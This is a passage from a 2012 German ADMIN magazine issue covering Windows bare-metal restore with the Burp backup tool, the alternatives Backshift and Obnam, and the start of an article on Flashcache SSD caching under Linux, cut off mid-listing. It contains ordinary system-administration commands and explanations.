unter [5] zum Download zur Verfügung<br />

steht. Die Ausgangslage für die folgenden<br />

Schritte besteht aus einem kompletten<br />

Burp-Backup des Laufwerks »C:«. Dazu<br />

genügt die Option »include C:\« in der<br />

G Abbildung 1: Der <strong>Server</strong> ist mit wenigen Handgriffen einsatzbereit. Burp<br />

überträgt die Backup-Daten verschlüsselt zum <strong>Server</strong>.<br />

E Abbildung 2: In der <strong>Server</strong>-Konfiguration legt der Admin den Pfad zum<br />

Speichern der Backups auf dem <strong>Server</strong> fest.<br />

78 Ausgabe 04-2012 Admin www.admin-magazin.de


Open-Source-Backup<br />

Know-how<br />

Burp-Client-Konfiguration »C:\<br />

Programme\Burp\burp.conf«.<br />

Dabei empfiehlt es sich allerdings<br />

schon aus Platzgründen,<br />

die Auslagerungsdatei<br />

»pagefile.sys« mit<br />

exclude = C:/pagefile.sys<br />

auszuschließen.<br />

Das Starten des Backups funktioniert<br />

genauso wie beim<br />

Unix-Client, wahlweise in der<br />

Eingabeaufforderung oder<br />

der Powershell. Anschließend<br />

muss der Admin das knapp<br />

1,6 GByte große ISO-Image<br />

des AIK herunterladen, einer installieren.<br />

Sammlung von Tools, die die<br />

Konfiguration und Bereitstellung von<br />

Windows-Betriebssystemen unterstützen.<br />

Damit lässt sich beispielsweise eine<br />

Windows-Installation automatisieren.<br />

Das AIK ermöglicht es aber auch, Windows-Abbilder<br />

mit ImageX zu erfassen,<br />

Abbilder mit der „Abbildverwaltung für<br />

die Bereitstellung“ (Deployment Imaging<br />

Servicing and Management, DISM) zu<br />

konfigurieren oder Windows-PE-Abbilder<br />

zu erstellen.<br />

Außerdem kann der Administrator mit<br />

dem „Migrationsprogramm für den Benutzerstatus“<br />

(User State Migration Tool,<br />

USMT) des AIK auch Benutzerprofile und<br />

Daten migrieren. Windows AIK enthält<br />

darüber hinaus das „Volume Activation<br />

Management Tool“ (VAMT), das es OEM-<br />

Herstellern oder Integratoren erlaubt,<br />

den Aktivierungsvorgang für Volumenlizenzen<br />

mithilfe eines Mehrfachaktivierungsschlüssels<br />

(Multiple Activation<br />

Key, MAK) zu automatisieren. Nach dem<br />

Installieren von Windows AIK führt der<br />

Admin die folgenden Kommandos mit<br />

Administrator-Rechten aus.<br />

copype.cmd amd64 c:\winpe_amd64<br />

cd c:\winpe_amd64<br />

copy winpe.wim iso\sources\boot.wim<br />

dism /mount‐wim /wimfile:iso\sources\boot.U<br />

wim /index:1 /mountdir:mount<br />

Jetzt kann er wahlweise entweder das<br />

komplette Verzeichnis »C:\Programme\<br />

Burp« mit in die WinPE-Disk packen,<br />

indem er es in das Verzeichnis »mount\<br />

windows« kopiert, oder er lagert das<br />

Verzeichnis auf einem File-<strong>Server</strong><br />

zwischen. Danach gibt er die Befehle<br />

Abbildung 3: Der Windows-Client lässt sich mithilfe eines grafischen Installers<br />

dism /unmount‐wim /mountdir:mount /commit<br />

oscdimg ‐n ‐betfsboot.com iso winpe_amd64.iso<br />

ein, um ein Image zu erstellen, das er<br />

dann auf eine DVD/​CD brennt.<br />

Komprimierte Images<br />

Das WIM-Format wird bei Microsoft<br />

für hochkomprimierte Images verwendet<br />

und verbraucht bis zu zwei Drittel<br />

weniger Speicher als das ursprüngliche<br />

Datenvolumen. »Copype.cmd« ist ein<br />

Skript zum Erstellen eines bootfähigen<br />

Windows-PE-RAM-Datenträgers auf CD-<br />

ROM. Anschließend muss der Admin<br />

eine bootfähige Disk mit dem WinPE-<br />

ISO-Image erzeugen, mit der er dann den<br />

wiederherzustellenden Rechner bootet,<br />

womit er schließlich in einem schlichten<br />

Kommando-Prompt der Form »X:\<br />

windows\system32« landet. Jetzt kann er<br />

eine neue Partition »C:« anlegen:<br />

select disk 0<br />

create partition primary<br />

active<br />

assign letter=C<br />

und dann formatieren:<br />

format fs=ntfs quick<br />

Ist das erledigt, kann er den Restore-Prozess<br />

durch Eingeben von<br />

cd C:\Programme\Burp\bin<br />

burp.exe ‐a r ‐f<br />

starten, wenn sich Burp auf der WinPE<br />

befindet. Alternativ kann er den Client-<br />

Installer beispielsweise von einem Da-<br />

tei-<strong>Server</strong> starten und dabei<br />

erneut mit den passenden<br />

Parametern (IP-Adresse, Clientname,<br />

Passwort) konfigurieren.<br />

Danach fährt der<br />

Administrator die Maschine<br />

herunter und bootet mit einer<br />

gewöhnlichen Windows7-<br />

Installations-Disk neu. Nach<br />

Auswahl von Sprache, Zeitzone,<br />

Währung, Tastatur<br />

wählt er im nächsten Schritt<br />

des Setup-Assistenten statt<br />

»Jetzt installieren« die »Computerreparaturoptionen«<br />

und<br />

im Folgeschritt den letzten<br />

Eintrag »Eingabeaufforderung«.<br />

Hier muss er »diskpart«<br />

erneut aufrufen, allerdings nur, um die<br />

Partition C: zu aktivieren und den Boot-<br />

Sektor wiederherzustellen:<br />

select disk 0<br />

select partition primary<br />

active<br />

bootrec /rebuildbcd<br />

Danach bootet er ein zweites Mal mit<br />

der Windows-7-Installations-Disk und<br />

wählt erneut »Computerreparaturoptionen«,<br />

allerdings sollte das System jetzt<br />

mit »Systemreparatur« in der Lage sein,<br />

selbstständig zu starten. Laut Graham<br />

Keeling führt dieser Workaround allerdings<br />

dazu, dass im Hauptverzeichnis<br />

des restaurierten Systems einige seltsame<br />

Einträge auftauchen wie »C:\$Recycle.<br />

Bin«, »C:\Documents and Settings«,<br />

»C:\System Volume Information«, »C:\<br />

Temp«und »C:\C:« sowie eine zusätzliche<br />

kleine Partition E:. Offenbar existieren<br />

diese Verzeichnisse versteckt auch im<br />

Originalsystem.<br />

Alternativen<br />

Als Alternativen zu Burp gibt es beispielsweise<br />

Obnam und Backshift, die<br />

vor Kurzem jeweils eine stabile Version<br />

veröffentlicht haben. Backshift [6] von<br />

Dan Stromberg ist ein relativ einfach gehaltenes<br />

Python-Programm, das keinen<br />

Client/​<strong>Server</strong>-Modus kennt. Backshift<br />

unterstützt von Haus aus keine Verschlüsselung,<br />

gefällt aber durch die einfache<br />

Handhabung und dadurch, dass<br />

es die Daten beim Sichern komprimiert<br />

und dedupliziert, was zu einer enormen<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

79


Know-how<br />

Open-Source-Backup<br />

Platzersparnis führt. Der Autor betont<br />

ausdrücklich, dass es sich bei Backshift<br />

nicht nur um ein weiteres Tar-Frontend<br />

handelt, weil der implementierte Deduplizierungs-Algorithmus<br />

zu einer weit<br />

größeren Platzersparnis führe, als bloßes<br />

Komprimieren.<br />

Die relativ frische Backshift-Version 1.03<br />

v steht unter [6] im Quelltext (Python-<br />

Code) zum freien Download zur Verfügung.<br />

Zur Installation muss vor dem Eingeben<br />

von »make install« wie üblich eine<br />

Konfiguration erfolgen. Das Übersetzen<br />

entfällt, weil es sich um Python-Code<br />

handelt. Beim Konfigurieren kann sich<br />

der Admin zwischem Python-Interpreter<br />

CPython – dann genügt das Eingeben von<br />

»./configure« – oder Pypy [7] entscheiden.<br />

Pypy gilt in der aktuellen Version<br />

1.8 als geringfügig schneller und stabiler.<br />

Dann erfolgt die Konfiguration mit<br />

./configure ‐‐python /usr/local/U<br />

pypy‐1.8/bin/pypy<br />

Der Configure-Parameter »a ‐‐prefix /usr«<br />

legt fest, wo Backshift landet, per Default<br />

in »/usr/local«. Zum Erzeugen der<br />

Liste der zu sichernden Daten braucht<br />

Backshift ein externes Programm wie<br />

»find«. Der Aufruf von Backshift, etwa<br />

zum Sichern des kompletten Root-Filesystems<br />

könnte dann etwa so aussehen:<br />

find / ‐xdev ‐print0 | backshift ‐‐save-U<br />

directory /Pfade/zum/save‐directory ‐‐backup U<br />

‐subset slash ‐init‐savedir<br />

Weitere, auch komplexere Anwendungsbeispiele<br />

finden sich in der Dokumentation.<br />

Darüber hinaus hat sich der<br />

Backshift-Autor Dan Stromberg auch die<br />

Mühe gemacht, in einem informativen<br />

Vergleich aktuelle freie Netzwerk-Backup-<br />

Lösungen <strong>gegen</strong>überzustellen.<br />

Obnam [8] blickt bereits auf eine sechsjährige<br />

Entwicklungszeit zurück und<br />

wurde von Lars Wirzenius in den letzten<br />

sechs Jahren entwickelt. Doch auch<br />

erst seit dem Juni diesen Jahres gibt es<br />

die Version 1.0, die unter der GPLv3 lizensiert<br />

verfügbar ist. Was den Autor<br />

zur Entwicklung von Obnam antreibt,<br />

lässt sich der Ankündigung zur Version<br />

1.0 entnehmen. Demnach wollte der Autor<br />

ursprünglich eine Firma für Online-<br />

Backups gründen, konnte aber keine zu<br />

seinen Anforderungen passende Software<br />

finden. So entwickelte er kurzerhand Obnam<br />

als einfach handhabbares Backup-<br />

Programm.<br />

Auch Obnam ist in Python geschrieben<br />

und erstellt Backups ausschließlich mithilfe<br />

des SFTP-Protokolls. Obnam verschlüsselt<br />

zudem jedes Backup, das aus<br />

Sicht des Anwenders ein vollständiger<br />

Snapshot seiner Daten ist. Um Platz zu<br />

sparen, dedupliziert Obnam die Daten.<br />

Backups lassen sich wahlweise auf dem<br />

Client anstoßen, der diese dann auf den<br />

<strong>Server</strong> überträgt, oder vom <strong>Server</strong> aus<br />

starten. Der Algorithmus zur Deduplikation<br />

gehört zu den Highlights der<br />

Software und stützt sich im besonderen<br />

Maße auf B-Bäume, ähnlich wie das<br />

neue Linux-Dateisystem Btrfs [9]. Die<br />

Software zerlegt die Daten in Blöcke,<br />

speichert identische Blöcke aber nur ein<br />

einziges Mal, auch dann, wenn sie in<br />

verschiedenen Generationen des Backups<br />

in unterschiedlichen Dateien liegen.<br />

Für einen einfachen Aufruf von Obnam<br />

genügt das Eingeben von<br />

./obnam backup ‐‐repository U<br />

/Pfad/zum/Backup $HOME<br />

Mit der aktuellen Version lässt sich Obnam<br />

laut Entwickler Wirzenius in der<br />

Praxis verwenden, allerdings will er das<br />

Programm in Zukunft noch deutlich beschleunigen.<br />

Fazit<br />

Selbst bei einem so alten Thema wie<br />

Backups bringt die Open-Source-Welt<br />

ständig neue Programme hervor, sodass<br />

sich Platzhirsche wie Bacula und<br />

Amanda keineswegs sicher sein können,<br />

stets Admins erste Wahl zu sein. Nicht<br />

nur, dass ein kommerzieller Hersteller<br />

wie Arkeia mit einer kostenlosen Linux-<br />

Version lockt, es sind auch Neulinge, die<br />

sich für das eine oder andere Szenario<br />

anbieten, wenn das neue Programm interessante<br />

Features bietet, wie etwa Verschlüsselung<br />

oder Deduplizierung.<br />

Die im Beitrag vorgestellten Tools drängen<br />

sich vielleicht nicht gerade für den<br />

Einsatz in Großunternehmen auf, eignen<br />

sich aber für durchaus für kleine Firmen.<br />

Ebenfalls existierende Strategien für<br />

Cloud- oder Virtualisierungs-Infrastrukturen<br />

sind genauso wenig ein Ersatz für<br />

die Datensicherung einzelner Hosts wie<br />

eine vorhandene Hochverfügbarkeits-Lösung<br />

oder ein implementiertes Langzeit-<br />

Archivierungssystem. Auch die Frage des<br />

Sicherungsmediums und der gewählten<br />

-strategie will gut überlegt sein, hat aber<br />

nur bedingt etwas mit der gewählten<br />

Backup-Software zu tun.<br />

Burp beispielsweise gefällt besonders<br />

durch die Möglichkeit der Commandline-<br />

Steuerung, was Admins die Möglichkeit<br />

gibt, individuelle Backup-Strategien zu<br />

entwickeln. Für kommerzielle Komplettlösungen<br />

wie Arkeia oder SEP Sesa<br />

spricht aber zweifellos die Möglichkeit,<br />

Sicherungen organisatorisch als Virtual<br />

Tape Library (VTL) verwalten und als<br />

Endlager beliebige Bandlaufwerke, Band-<br />

Libraries und Autoloader verwenden zu<br />

können, egal ob via SCSI, SATA, iSCSI, FC,<br />

Infiniband, SAS oder USB angeschlossen.<br />

Wer darauf verzichten kann oder muss,<br />

findet in den hier vorgestellten Lösungen<br />

leistungsfähige Backup-Programme nach<br />

guter alter Unix-Art. (ofr)<br />

n<br />

Infos<br />

[1] Nachteile von Bacula aus Sicht von Burp-<br />

Autor Graham Keeling:<br />

[http:// burp. grke. net/ why. html]<br />

[2] Burp-Projektseite:[http:// burp. grke. net]<br />

[3] NTFS Junctions: [http:// support. microsoft.​<br />

com/ ? kbid=205524]<br />

[4] Burp auf Sourceforge: [http:// sourceforge.​<br />

net/ projects/ burp/ ? source=directory]<br />

[5] AIK für Windows 7: [http:// www. microsoft.​<br />

com/ de‐de/ download/ details. aspx? id=5753]<br />

[6] Backshift: [http:// stromberg. dnsalias. org/​<br />

~strombrg/ backshift/]<br />

[7] Pypy: [http:// pypy. org/]<br />

[8] Obnam: [http:// liw. fi/ obnam]<br />

[9] Marcel Hilzinger, Oliver Frommel, Das neue<br />

Linux-Dateisystem Btrfs im Detail, <strong>ADMIN</strong><br />

04/​2009: [http:// www. admin‐magazin. de/​<br />

Das‐Heft/ 2009/ 04/ Das‐neue‐Linux‐Dateisy<br />

stem‐Btrfs‐im‐Detail]<br />

Der Autor<br />

Thomas Drilling ist seit mehr als zehn Jahren<br />

hauptberuflich als freier Journalist und Redakteur<br />

für Wissenschafts- und IT-<strong>Magazin</strong>e tätig. Er<br />

selbst und das Team seines Redaktionsbüros verfassen<br />

regelmäßig Beiträge zu den Themen Open<br />

Source, Linux, <strong>Server</strong>, IT-Administration und Mac<br />

OSX. Außerdem arbeitet Thomas Drilling als Buchautor<br />

und Verleger, berät als IT-Consultant kleine<br />

und mittlere Unternehmen und hält Vorträge zu<br />

Linux, Open Source und IT-Sicherheit.<br />

80 Ausgabe 04-2012 Admin www.admin-magazin.de


JETZT<br />

MIT DVD!<br />

MAGAZIN<br />

Sonderaktion<br />

Testen Sie jetzt<br />

3 Ausgaben<br />

für 3 Euro!<br />

Jetzt schnell bestellen:<br />

• Telefon 07131 / 2707 274<br />

• Fax 07131 / 2707 78 601<br />

• E-Mail: abo@linux-magazin.de<br />

• Web: www.linux-magazin.de/probeabo<br />

Mit großem Gewinnspiel unter:<br />

www.linux-magazin.de/probeabo<br />

Gewinnen Sie...<br />

eines von Sieben „SECU4Bags“<br />

Einsendeschluss ist der 15.09.2012<br />

zur Verfügung gestellt von


Know-How<br />

Flashcache<br />

SSDs als Cache für Festplattenspeicher<br />

© Peter Lecko, 123RF<br />

Hochgeschwindigkeit<br />

Festplatten sind heute günstig, aber immer noch nicht besonders schnell,<br />

SSDs da<strong>gegen</strong> schnell aber teuer. Der Königsweg liegt derzeit darin,<br />

beides zu kombinieren und SSDs als schnelle Caches für Festplatten zu<br />

verwenden. Georg Schönberger<br />

Solid State Drives (SSDs) sind aus modernen<br />

IT-Umgebungen nicht mehr wegzudenken.<br />

Für große Storage-Systeme,<br />

die sowohl mit Kapazität als auch Performance<br />

glänzen sollen, kann eine Ausstattung<br />

rein mit SSDs aber schnell sehr<br />

kostspielig werden. Abhilfe schaffen hier<br />

SSD-Caching-Technologien, die eine Art<br />

„Hybrid-Speicher“ bereitstellen.<br />

Traditionelle Festplatten (HDDs) werden<br />

dabei mit SSDs kombiniert und vereinen<br />

die Vorteile beider Welten. Die SSD fungiert<br />

als Cache für die Festplatten und<br />

beschleunigt mit ihrer größeren Performance<br />

Lese- und Schreibzugriffe. Dieser<br />

Geschwindigkeitsvorteil kommt vor<br />

allem dann zum Vorschein, wenn die<br />

typischerweise genutzten Datenmengen<br />

die Größe des Arbeitsspeichers (RAM)<br />

überschreiten, die Größe der SSD jedoch<br />

nicht. Im Regelfall wird ungenutzter Arbeitsspeicher<br />

als Page Cache für die Bufferung<br />

von Dateien verwendet. Das Linux<br />

Kommando »free ‐m« zeigt in der Spalte<br />

»cached«, wie viele MByte gerade als<br />

Cache dienen. Nicht immer aber reicht<br />

der Page Cache für ein Datenset aus, und<br />

in manchen Fällen übersteigt es sogar<br />

die maximal mögliche Größe des RAM<br />

eines Hosts.<br />

Ist der Page Cache zu klein für ein Datenset,<br />

müssen normalerweise Teile davon<br />

auf der Festplatte bleiben. Der Performance-Unterschied<br />

zwischen RAM und<br />

HDD wird durch eine SSD-Zwischenschicht<br />

gemindert. Passt das Datenset<br />

auf die SSD, werden Lese- und Schreiboperationen<br />

komplett auf SSD-Ebene abgearbeitet.<br />

Nur zur Synchronisation der<br />

Daten muss auf die HDD zurückgegriffen<br />

werden.<br />

Facebook-erprobt<br />

Flashcache bietet eine einfache softwarebasierende<br />

Lösung für die Verwendung<br />

eines SSD-Caches. Es wird aktuell von<br />

Facebook entwickelt und aktiv in deren<br />

<strong>Server</strong>umgebungen eingesetzt [1]. Bevor<br />

jedoch SSD-Caching für den eigenen Gebrauch<br />

zum Einsatz kommen kann, gibt<br />

es wichtige Fragen zu klären:<br />

n Welches Zugriffsmuster zeigen die verwendeten<br />

Applikationen? Greifen sie<br />

eher nur lesend auf die Daten zu oder<br />

besteht ein ausgewogenes Verhältnis<br />

zwischen Lesen und Schreiben?<br />

n Wie groß ist die Datenmenge, die die<br />

Applikationen benötigen? Reicht der<br />

vorhandene Arbeitsspeicher aus, um<br />

die Daten im Page Cache zu halten,<br />

oder sind sie häufig größer? Würde<br />

sich das vorhandene Datenset für einen<br />

SSD-Cache eignen?<br />

n Gibt es aktuelle Messungen, die<br />

Performance-Einbußen aufgrund des<br />

Einflusses der Speicher-Systeme belegen?<br />

Aus diesen Fragen geht hervor, dass SSD-<br />

Caching und somit auch Flashcache kein<br />

Allheilmittel für eine Performance-Steigerung<br />

sind. Nur wer sein System und<br />

dessen Verhalten genau kennt, kann mit<br />

einem SSD-Cache Erfolge erzielen.<br />

Flashcache eignet sich vor allem durch<br />

seine Einfachheit und die Verfügbarkeit<br />

als Open-Source-Software als Kandidat<br />

für eine erste Tuchfühlung mit Caching.<br />

Der Quellcode kann von Facebooks Github-Webseite<br />

heruntergeladen und unter<br />

Linux in ein Kernel-Modul übersetzt wer-<br />

82 Ausgabe 04-2012 Admin www.admin-magazin.de


Flashcache<br />

Know-How<br />

den. Flashcache baut auf dem<br />

Linux Device Mapper auf, einer<br />

Komponente im Linux-I/​<br />

O-Stack die unter anderem<br />

der Logical Volume Manager<br />

(LVM) nutzt [2]. Die Flexibilität<br />

dieser Architektur zeigt<br />

sich bei Flashcache zum Beispiel<br />

in der Tatsache, dass ein<br />

redundanter Cache aus mehreren<br />

SSDs erzeugt werden<br />

kann oder einzelne Partitionen<br />

der SSD für unterschiedliche<br />

HDDs zum Einsatz kommen<br />

können.<br />

Caching-Modi<br />

In Bezug auf die Cache-Art unterstützt<br />

Flashcache drei Varianten: Write-Back,<br />

Write-Through und Write-Around<br />

Caching (Abbildung 1) [3]. Der Write-<br />

Back-Modus bietet als einziger Modus<br />

die Möglichkeit zur Beschleunigung von<br />

Schreibzugriffen („Writes“). Diese Writes<br />

schreibt das Modul im ersten Schritt auf<br />

die SSD und synchronisiert sie später im<br />

Hintergrund mit der HDD – dieser Vorgang<br />

wird auch als „Lazy Dirty Cleaning“<br />

bezeichnet. Diese „Dirty Pages“ sind jene<br />

Blöcke, die sich im Cache auf der SSD<br />

befinden, aber noch nicht auf die HDD<br />

geschrieben wurden.<br />

In diesem Zusammenhang zeigt sich die<br />

Wichtigkeit eines redundanten Caches<br />

bei der Verwendung von Write-Back.<br />

Fällt eine SSD aufgrund eines Hardware-<br />

Fehlers aus, gehen die Dirty Pages unwiederbringlich<br />

verloren und können im<br />

schlimmsten Fall ein ganzes Dateisystem<br />

lahmlegen. Eine redundante Auslegung<br />

der Caching-SSDs, zum Beispiel durch<br />

einen RAID1-Verbund, kann dieses Desaster<br />

verhindern. Vorsicht: Wenn eine<br />

SSD des RAID-Verbunds ausfällt, läuft<br />

der Write-Back-Modus weiter, einen<br />

automatisierten Wechsel in den Write-<br />

Through-Modus gibt es bislang noch<br />

nicht. Im Fehlerfall ist daher aus Gründen<br />

der Datensicherheit ein rascher Tausch<br />

der defekten SSD nötig.<br />

Wird ein Cache im Write-Through-Modus<br />

eingesetzt, schreibt das Modul synchron<br />

auf die SSD und die HDD. Der<br />

Geschwindigkeits-Vorteil der SSD kommt<br />

in diesem Fall also beim Schreiben nicht<br />

zur Geltung, da die Zugriffe erst dann<br />

Abbildung 1: Die drei Cache-Arten, die Flashcache unterstützt.<br />

abgeschlossen sind, wenn sie auch auf<br />

der langsameren HDD abgeschlossen<br />

sind. Der Vorteil des Cache macht sich<br />

erst bei darauffolgenden Lesezugriffen<br />

bemerkbar, bei denen die Daten von der<br />

SSD bereitgestellt werden können.<br />

Im Write-Around-Modus wird die SSD als<br />

reiner Lese-Cache verwendet. Der Cache<br />

füllt sich erst nach und nach durch die<br />

Lesezugriffe.<br />

Cache-Persistenz<br />

Zurzeit bleibt nur beim Write-Back-Modus<br />

der Cache-Inhalt über einen Reboot<br />

hinweg erhalten (persistenter Cache).<br />

Dies resultiert daraus, dass Flashcache<br />

nur für Write-Back Cache-Metadaten auf<br />

der SSD verwaltet. Für die anderen beiden<br />

Modi betreibt es diesen Aufwand zur<br />

Zeit noch nicht. Dieses Fehlen der Metadaten<br />

hat nicht nur Nachteile: Für Dirty<br />

Pages müssen bei einem Write und Clean<br />

immer auch die Metadaten geschrieben<br />

werden. Um nicht jedes Mal für jeden<br />

Block die Metadaten aktualisieren zu<br />

müssen, gibt es ein Batching für mehrere<br />

verschiedene Metadaten-Blöcke und für<br />

sequenzielle Updates desselben Blocks.<br />

Bei einem Reboot oder Shutdown des<br />

Hosts werden im Falle von Write-Back<br />

alle Dirty Pages von der SSD auf die HDD<br />

synchronisiert – das lässt sich manuell<br />

auch über »dmsetup remove« erreichen<br />

(siehe unten). Da<strong>gegen</strong> entfernt »sysctl<br />

(fast_remove)« den Cache ohne Synchronisation.<br />

Diese Option birgt immer ein<br />

gewisses Risiko, da sich Daten im Cache<br />

befinden, die noch nicht auf der Festplatte<br />

gelandet sind.<br />

Metadaten werden beim kontrollierten<br />

Entfernen für alle<br />

Cache-Blöcke auf die SSD geschrieben,<br />

bei einem Node-<br />

Crash hin<strong>gegen</strong> bleiben nur<br />

die Dirty-Blöcke im Cache<br />

erhalten. Für Write-Through<br />

und Write-Around bedeutet<br />

ein Remove beziehungsweise<br />

Neustart des Hosts einen Verlust<br />

des Caches. Nichtsdestotrotz<br />

kann für alle drei Fälle<br />

ein sauberes Entfernen des<br />

Caches sinnvoll sein, zum<br />

Beispiel, wenn das Flashcache-Modul<br />

neu kompiliert<br />

und geladen werden muss.<br />

Volume-Verwaltung<br />

Flashcache bringt drei Kommandozeilen-<br />

Werkzeuge für die Administration von<br />

Cache-Volumes mit: »flashcache_create«,<br />

»flashcache_load« und »flashcache_<br />

destroy«. Die Zugehörigkeit zum Device<br />

Mapper (DM) ist der Grund dafür, dass<br />

Cache-Volumes auch via »dmsetup« verwaltet<br />

werden könnten. Die Flashcache-<br />

Tools erleichtern aber wesentlich den<br />

Umgang, und nur selten wird der Weg<br />

direkt über den DM nötig sein.<br />

Beim Anlegen eines Caching Volumes mit<br />

»flashcache_create« sind vor allem der<br />

Caching-Modus (»‐p«), die Cache-Größe,<br />

die Block-Größe, ein Volume-Name sowie<br />

die Pfade zur SSD und HDD wichtig.<br />

Wird die Cache-Size (»‐s«) nicht angegeben,<br />

verwendet Flashcache die gesamte<br />

SSD als Cache-Device für das Volume.<br />

Ohne Angabe einer Block-Größe (»‐b«)<br />

kommt die Standardgröße von 4 KByte<br />

zum Einsatz. Listing 1 erstellt ein Write-<br />

Back-Cache namens »fc‐root« mit »/dev/<br />

sdd« als SSD und »/dev/sdc« als HDD .<br />

Nach dem Aufruf von »flashcache_create«<br />

erscheint das Volume unter dem Pfad »/<br />

dev/mapper/fc‐root«. Daraufhin kann<br />

man ein Ext4-Filesystem anlegen und das<br />

Volume eingehängen.<br />

Wer sich wundert, warum der Cache<br />

nach dem Mount bereits gecachte Blöcke<br />

Listing 1: Erstellen und Mounten<br />

01 :~$ flashcache_create ‐v ‐p back fc‐root /dev/sdd /<br />

dev/sdc<br />

02 :~$ mkfs.ext4 /dev/mapper/fc‐root<br />

03 :~$ mount /dev/mapper/fc‐root /mnt<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

83


Know-How<br />

Flashcache<br />

enthält, sei auf die Lazy Initialization von<br />

Ext4 verwiesen. Der Kernel-Prozess »ext-<br />

4lazyinit« initialisiert zu Beginn die Inode<br />

Tables des Filesystems. Ist dies nicht gewünscht,<br />

müssen »mkfs.ext4« mit der<br />

Option »‐E« die Parameter »lazy_itable_<br />

init=0,lazy_journal_init=0« übergeben<br />

werden [4].<br />

Einmal erstellte Flashcache-Volumes lassen<br />

sich mit frm Befehl »flashcache_load«<br />

wieder laden. Der Load-Befehl kann nur<br />

für Write-Back-Volumes verwendet werden,<br />

da dies die einzige persistente Variante<br />

ist. Für Write-Through und Write-<br />

Around muss man nach jedem Remove<br />

wieder einen neuen Cache erstellen.<br />

Zerstörung<br />

Das Kommando »flashcache_destroy«<br />

zerstört einen Cache samt all seinen Daten.<br />

Ein Entfernen eines Cache-Volumes<br />

erfolgt direkt über den DM-Befehl »dmsetup<br />

remove«. Der Remove-Aufruf kehrt<br />

für ein Write-Back-Volume erst dann zurück,<br />

wenn alle Dirty Pages auf die HDD<br />

geschrieben sind. Dieses Blockieren garantiert<br />

ein sauberes Aushängen des Volumes,<br />

das via Load-Befehl später wieder<br />

geladen werden kann (Abbildung 2).<br />

Für die Überwachung der Cache-Funktion<br />

stellt Flashcache mehrere Statistiken<br />

bereit, die sich mit »dmsetup status« und<br />

»dmsetup table« anzeigen lassen. Der<br />

Status-Befehl zeigt vor allem die Leseund<br />

Schreibstatistiken. Wichtig hierbei<br />

sind zum Beispiel die Angaben zu den<br />

Treffern im Cache (»read hit« und »write<br />

hit percent«) oder Lese- und Schreiboperationen<br />

auf SSD und HDD (»disk/ssd<br />

reads« und »writes«).<br />

»dmsetup table« beinhaltet dazu noch<br />

einige Konfigurations-Informationen des<br />

Volumes (Listing 2). Von Interesse ist<br />

auch das Größen-Histogramm der abgesetzten<br />

I/​O-Operationen (Size Hist).<br />

Flashcache cacht immer nur Blockzugriffe,<br />

die gleich oder ein Vielfaches der<br />

Blockgröße des Caches sind (Standardgröße<br />

4 KByte). Eine steigende Anzahl an<br />

512-Byte-I/​Os signalisiert, dass Zugriffe<br />

einer Applikation nicht gecacht werden.<br />

Vorsicht ist somit auch bei Flashcache-<br />

Performance-Tests mit dem beliebten<br />

Werkzeug »dd« geboten, da es standardmäßig<br />

mit 512 Byte als Block-Größe arbeitet.<br />

Tuning<br />

Ein Flashcache-Volume bietet zahlreiche<br />

Konfigurationsmöglichkeiten über<br />

»sysctl« an. Diese Kontroll-Optionen eignen<br />

sich nicht nur zum Anpassen eines<br />

Flashcache-Volumes an die eigenen Bedürfnisse,<br />

sondern geben auch nützliche<br />

Informationen über die interne Funktionsweise.<br />

Der folgende Abschnitt zeigt<br />

einige Repräsentanten der Optionen:<br />

Der Sysctl »cache_all« erlaubt es, das<br />

Caching ein- und auszuschalten. Auf<br />

Black- und Whitelisting von Prozess-IDs<br />

hat diese Option großen Einfluss (siehe<br />

unten). Auch wenn kurzzeitig Test- oder<br />

temporäre Daten nicht im Cache landen<br />

dürfen, ist es sinnvoll, den Cache zu deaktivieren,<br />

um die SSD nicht mit nicht<br />

benötigten Daten zu füllen.<br />

Basierend auf der Storage-Architektur<br />

hinter der SSD, gibt es Szenarien, bei<br />

denen sich ein SSD-Cache negativ auf<br />

die Performance auswirkt. Wird die SSD<br />

als Cache für ein RAID-Array genutzt,<br />

dessen Durchsatz für sequenzielle Zugriffe<br />

größer ist als jener der SSD, macht<br />

sich der Cache negativ bemerkbar. Das<br />

betrifft Schreib- und Leseoperationen<br />

gleichermaßen. Beim Schreiben ist der<br />

Einfluss der SSD-Schreibgeschwindigkeit<br />

offensichtlich, beim ungecachten Lesen<br />

erschließt er sich erst auf den zweiten<br />

Blick: Werden Daten gelesen, die sich<br />

nicht im SSD-Cache befinden, ist die<br />

Lese-Operation erst dann abgeschlossen,<br />

wenn der angeforderte Bereich vom RAID<br />

gelesen, in den SSD-Cache geschrieben<br />

und schließlich an die Applikation weitergegeben<br />

wurde [5].<br />

Die SSD-Schreib-Performance ist deshalb<br />

ein wesentlicher Faktor für die Performance-Verbesserung.<br />

Für sequenzielle<br />

Zugriffe existiert mit »skip_seq_thresh_<br />

kb« ein Schwellwert, über den sich die<br />

SSD-Defizite etwas ausgleichen lassen.<br />

Weist man ihm zum Beispiel den Wert<br />

1024 zu (standardmäßig 0), landen alle<br />

sequenziellen I/​Os über 1024 Kilobyte<br />

nicht mehr im Cache. Die niedrigere Performance<br />

der SSD für sequenzielle Zugriffe<br />

wird dadurch eliminiert.<br />

Strategien<br />

Die beiden Tuning-Parameter »fallow_delay«<br />

und »dirty_thresh_pct« sind nur für<br />

den Write-Back-Modus von Bedeutung.<br />

Wie bereits erwähnt, werden Dirty Pages<br />

im Hintergrund von der SSD auf die HDD<br />

synchronisiert. Die Auswahl der Blöcke<br />

erfolgt entweder aufgrund eines Timeouts<br />

(»fallow_delay«) oder beim Überschreiten<br />

eines Schwellwerts (»dirty_thresh_pct«).<br />

Das Timeout kommt dann zum Zug,<br />

wenn ein Dirty Block im Cache für längere<br />

Zeit weder gelesen noch geschrieben<br />

wurde. Nach Überschreitung dieser Zeit<br />

im Idle-Zustand werden die Block-Daten<br />

auf die HDD geschrieben, und der Block<br />

verliert somit seinen Dirty-Zustand („Idle<br />

Cleaning“).<br />

Der zweite Parameter bestimmt den<br />

Prozentanteil an Dirty-Blöcken eines<br />

Listing 2: Status-Überblick über das Volume<br />

01 :~$ dmsetup table fc‐root<br />

02 fc‐root: 0 3907029168 flashcache conf:<br />

03 ssd dev (/dev/sdd), disk dev (/dev/sdc) cache<br />

mode(WRITE_BACK)<br />

04 capacity(32638M), associativity(512), data<br />

block size(4K) metadata block size(4096b)<br />

05 skip sequential thresh(0K)<br />

06 total blocks(8355328), cached<br />

blocks(1048668), cache percent(12)<br />

07 dirty blocks(1048662), dirty percent(12)<br />

